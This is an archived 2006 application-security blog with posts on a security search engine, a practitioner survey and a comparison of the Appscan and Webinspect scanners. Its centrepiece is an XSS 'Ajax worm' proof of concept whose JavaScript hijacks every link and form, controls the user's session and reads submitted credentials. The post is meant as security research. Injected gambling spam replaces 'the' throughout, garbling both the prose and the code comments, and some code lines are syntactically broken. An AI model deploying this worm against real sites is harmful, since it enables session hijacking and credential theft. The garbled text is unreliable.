Tuesday, December 12, 2006

Did you SEEC it yet?

I am pleased to announce SEEC - An application security search engine. This search engine is powered by google and is application security specific. It is still in beta release. You can access it here - SEEC

Why SEEC?
well, SEC is short for security and SEEK means to find, hence SEEC (find within security)
Please do leave your comments and feedback on what your thoughts are on SEEC.


Also, few weeks ago i released AttackLabs - a website to display proof of concepts of various web application attacks. It has two PoC to begin with and i am currently working with jeremiah to display all his PoC on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site. If you wish to display your Proof of concepts on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 site, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n please feel free to submit your attack on www.attacklabs.com or you can email me at anurag.agarwal@yahoo.com

Wednesday, December 06, 2006

Survey on Application Security Vulnerability Assessment process

Today jeremiah posted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 third round of his monthly survey on web application security professionals.
http://jeremiahgrossman.blogspot.com/2006/12/web-application-security-professionals.html

The results of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first two are available here

[1] Nov. 2006
http://jeremiahgrossman.blogspot.com/2006/11/web-application-security-professionals.html

[2] Oct. 2006
http://jeremiahgrossman.blogspot.com/2006/10/web-application-security-professionals.html

This survey would help us assess cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current state of vulnerability assessment in our software development life cycle, of course depending on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 participation. I would encourage everyone in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications security field to take this survey. The more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 particpation, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 better cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 picture we get out of it. If we have enough data cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n maybe we can see a deviation report as well.

Sunday, December 03, 2006

Ajax Worm - Proof of Concept

Few weeks ago I demonstrated a Proof of Concept of how easy it is to create an Ajax worm which hijacks a user session and redirects all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user activity through itself. The idea is simply to be able to control and monitor cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user activity on a website by inserting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 malicious script into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 visiting user's session using XSS. I have been advocating for some time now, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extent of damage that can be done using Ajax’s XMLHttpRequest(XHR) object. All you need is a website vulnerable to XSS attack and an attacker can inject a small javascript file which can take control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user as long as he is on that site and in some cases even after he has left cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 website. This Proof of Concept is limited to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm propagating to a single site as Ajax cannot make cross domain requests just yet but it is under consideration. If you want cross domain request you may want to consider FlashXMLHttpRequest object.

Advanced javascript and XML also known as Ajax is a relatively newer technology and is already gaining a lot of momentum in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 industry. Ajax by itself may not open any new vulnerabilities but it does increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack surface and in combination with some vulnerabilities like cross site scripting can be very devastating by providing stealth techniques to it. In traditional web browsing, when a user clicks on a link or submits a form, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request goes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server responds back with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response and a new page is loaded on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen and a new url is displayed on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar (unless it’s a dynamic page and is submitting to itself). In eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r case, a user can see a browser screen getting refreshed and a new page getting loaded on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request and response were handled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser. With cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of Ajax, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same request and response can be handled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application. So now when a user clicks on a link or submits a form, using XHR object it can all be done behind cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scenes by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web application and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page doesn’t have to refresh like it used to in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 traditional way. The url on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar remains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same even though we may be loading a different url altogecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. Though, ajax has helped immensely with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applications trying to provide a better user experience and a rich user interface, but at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time it has opened a world of opportunities for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bad guys. Now an attacker can do a lot more damage cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it usually would have by exploiting vulnerabilities in your application as. For example, if someone can exploit a cross site scripting vulnerability in your application, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of ajax cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can virtually control your application.

In this paper, I will explain, how easy it is to hijack a website with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of ajax by inserting a script which propagates to every page you visit on that website.


When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script is injected into a vulnerable site, create_object, collect_links and collect_forms method from worm.js script are called.

//Create an ajax object
create_object creates a cross browser connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server using ajax. For IE 5 and 6 we use ActiveXObject and IE7 and firefox we use XMLHttpRequest. All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ajax communications are done using this object. The XMLHttpRequest object is an interface exposed by a scripting engine that allows scripts to perform HTTP client functionality, such as submitting form data or loading data from a server. The name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object is XMLHttpRequest for compatibility with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web as it doesn't make much sense ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise. It supports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transport of ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r data formats in addition to XML, some implementations support ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r protocols besides HTTP (that functionality is not covered in this specification though) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 API supports sending data as well.

function create_object() {
// This is a strip down version of what I am using in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual script to demonstrate how to create a XHR object.
if(window.ActiveXObject) {
ajax_request = new ActiveXObject(MSXML2.XMLHTTP);
}

if (!ajax_request && typeof XMLHttpRequest != 'undefined') {
ajax_request = new XMLHttpRequest ();
}
}

//Code to capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links
This is where we capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links in a website. If it is an internal link cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we replace it with our javascript function, so now whenever a user clicks on any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link, browser instead of opening that page, calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function and which in turn silently communicates with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 background, fetches cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link and loads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory and while doing so, it captures all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly loaded page.

function collect_links()
{
//Collect all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 link in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page.
var all_links = document.getElementsByTagName("a");

//Go through all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links one by one.
for(var i = 0; i < all_links.length; i++) {

//Replace all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function.
all_links[i].href="javascript:loadUrl('" + all_links[i].href + "');";
}
}


//Code to capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms.
This is where we capture all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms in a web page. collect_forms function does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thing as collect_links does except for it just looks for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms and replaces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir action attribute with its javascript function. It also inserts or replaces (if already exists) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual url so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script can identify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of submission. As you will see in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last line here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 action attribute is replaced by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit_form function of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm. So now when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user will try to submit any form, instead of browser submitting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit_form function will be called.

function collect_forms()
{
//Collect all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page.
var all_forms = document.getElementsByTagName("form");

//Go through all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms one by one.
for(var i = 0; i < all_forms.length; i++) {
//Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original submit url.
all_forms[i].id = all_forms[i].action;

//Replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit url of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript function.
all_forms[i].action="javascript:submit_form('" + all_forms[i].action + "');";
}
}


//Code to load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requested url dynamically
loadUrl function takes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url as a parameter and connects to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and requests for that url. The server treats it as any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r request it would have received from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client and sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file with that url. Normally it is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser who receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and displays it in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser, but with Ajax it is our XHR object which receives cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and updates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client screen with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it calls collect_links and collect_forms function to hijack cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code. This way, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script is always in control of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request/response made from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client browser to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

function loadUrl(url)
{
//Connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and request for that url.
ajax_request.open("GET", url, false);
ajax_request.send(null);

//Look for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request state and status. Status = 200 means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 request was successful
if(ajax_request.status == 200) {
//Load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document’s body. This will dynamically
change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address bar of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser will
remain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same. So, even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new url is loaded, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location bar of browser
will show cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original page.
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html page.
collect_links();
collect_forms();
}
}


//Code to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form parameter string
This function is called when a user tries to submit a form. As all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms are hijacked and replaced with submit_form function of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 javascript, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user clicks on submit button, this function is called with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form which was already replaced at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 time of hijacking. Based on that id, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script loads all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms and its elements. It cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_attacker function which submits cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 values to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server, captures cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response and displays on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user window and hijacks any links or forms in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new html code. For cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sake of this demo, when you enter a username and password on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login page and clicks on submit, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script displays cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 values on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen before calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post_attacker function.
function submit_form(form_id)
{
//get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form element from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 id.
var form = document.getElementById(form_id);

//This is where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form values are displayed when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user presses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 submit button.
var form_submit = document.getElementById('form_element');
form_submit.innerHTML = "These values will be submitted to " + form_id + "
";

//All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters have to be in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 format of name=value to be able to submit to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
var post_url = "";

//Iterate through every element of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form.
for(var i = 0; i < form.length; i++) {
var line = form.elements[i].name + " = " + form.elements[i].value +;
form_submit.innerHTML += line + "
";
post_url += line;

//Multiple name=value have to be separated with &
if(i+1 < form.length)
post_url += "&";
}

//post it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.
post_attacker(form_id, post_url);
}

//Code to submit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form dynamically
function post_attacker(url, parameters) {

//Create a POST connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 url.
ajax_request.open("POST", url, false);

//Set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 header values.
ajax_request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");

//Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters
ajax_request.send(parameters);

//Load cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document’s body
if(ajax_request.readyState == 4 && ajax_request.status == 200) {
var response_text = ajax_request.responseText;
document.body.innerHTML = response_text;

//Hijack all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 forms.
collect_links();
collect_forms();
}
}


As you can see, it is so easy to create a worm with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 help of Ajax, which controls all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 communication between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. Whatever link a user clicks on or submits a form, everything is passed through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worm script. It also has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capability to make changes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data before it gets submitted to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server or before it gets loaded in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user browser after it is received from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server.

This is just a proof of concept to reiterate how deadly a combination of cross site scripting and Ajax can be. Currently this is limited to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same site as we cannot make cross domain Ajax requests just yet. With cross domain Ajax requests, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implications could be far more dangerous. I am not against having cross domain requests in Ajax but if and when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y do allow it, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y should consider cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security implications as well and if possible suggest solutions or scenarios which a developer should consider while using cross domain Ajax requests.


To look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Proof of concept, please go to http://www.attacklabs.com
To download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code, go to http://www.attacklabs.com/download/ajax_worm.zip

Monday, November 20, 2006

Correction - Comparison between Appscan and Webinspect

In my last posting, i discussed about some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 difference between appscan and webinspect. Ory Segal from watchfire pointed out a few areas which could have been interpreted wrongly as well. I have made changes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original post and i am posting it separately for those who have already read it or if it is stored in cache somewhere.


  • View cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual attack during a scan session: Webinspect displays cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual attack string on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 status bar during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan and also if a vulnerability was found whereas in Appscan you can only view if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a vulnerability found.


  • Vulnerabilities: Appscan found more vulnerabilities with more variants in a scan as compared to Webinspect. One ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r difference between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two products in terms of vulnerabilities is if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are 200 pages with same vulnerabilities, Appscan will display 1 vulnerability but can drill down to all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 200 pages whereas Webinspect will display as 1. Having said that, Appscan still detects more types of vulnerabilities cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n Webinspect.


  • What if webapp stops responding during scan: If your webapp stops responding during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan, Webinspect displays an error and pauses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan, so you can fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem and resume cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan later. Though appscan does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same but since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pause button is not on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 toolbar and is as a dropdown it get a little confusing.



For comments and feedback, please email me at anurag.agarwal@yahoo.com

Friday, November 03, 2006

Comparison between Appscan vs Webinspect

Last month I got a chance to evaluate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two popular vulnerability assessment tools Webinspect and Appscan and I wanted to share my findings with ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs. As you will notice, currently I have published only few technical comparison I will add more to it sooner. This comparison is strictly between Appscan 6.5 and Webinspect 6.2. Both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 companies have since come with a beta release of a new version of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir products and this comparison may not be valid for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir new versions.
The evaluation was done on a dynamic web application with approx 1800 web pages.

  • Scan duration: On a website of approx. 1800 pages, Appscan took around 6 hours whereas webinspect took more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n 12 hours (i had to stop it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re as it would have taken a lot more time). Then i removed post-data injection from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list of attacks and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire scan was completed in approx 4 hours.

  • Ability to pause a scan: Both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tools give you an ability to pause a scan and restart later.

  • Save a partial scan and restart later: Both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tools allow you to save a partial scan and restart it later.

  • What if webapp stops responding during scan: If your webapp stops responding during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan, Webinspect displays an error and pauses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan, so you can fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem and resume cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan later. Though appscan does cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same but since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pause button is not on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 toolbar and is as a dropdown it get a little confusing.

  • Change cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 middle of a scan session: While a scan is in progress, if you want to pause it and resume from your home over a vpn connection, Appscan lets you resume cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan without any problems whereas Webinspect gave me an error. Though I just tried it once, I am not too sure if this is a problem with Webinspect. You can check it on your own if you're going to need this feature.

  • Maximum thread that can run simultaneously: Appscan has maximum of 10 threads whereas Webinspect has 75. You can customize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of threads you want to run simultaneously. However, if you use more cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n 15 threads in Webinspect, it becomes very resource intensive.

  • Pick and choose attacks for a scan session: Both Appscan and Webinspect lets you do that.

  • Skip an attack while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan is in progress: Webinspect lets you skip an attack while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan is in progress whereas Appscan doesn't.

  • View cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual attack during a scan session: Webinspect displays cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual attack string on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 status bar during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scan and also if a vulnerability was found whereas in Appscan you can only view if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re was a vulnerability found.

  • Customize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 order of attack for a scan session: Neicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product lets you customize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 order of scan. So, if you want to run Cross site scripting and SQL injection first cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you will have to create a new scan session and just opt for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se two attacks and remove all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 list.

  • Custom attack scripts: Both Appscan and Webinspect lets you create a custom attack script as a macro. Webinspect however lets you create a custom attack agent using VB script.

  • Vulnerability Database updated: Both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product update cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir vulnerabilities regularly.

  • Vulnerabilities: Appscan found more vulnerabilities with more variants in a scan as compared to Webinspect. One ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r difference between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two products in terms of vulnerabilities is if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are 200 pages with same vulnerabilities, Appscan will display 1 vulnerability but can drill down to all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 200 pages whereas Webinspect will display as 1. Having said that, Appscan still detects more types of vulnerabilities cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n Webinspect.

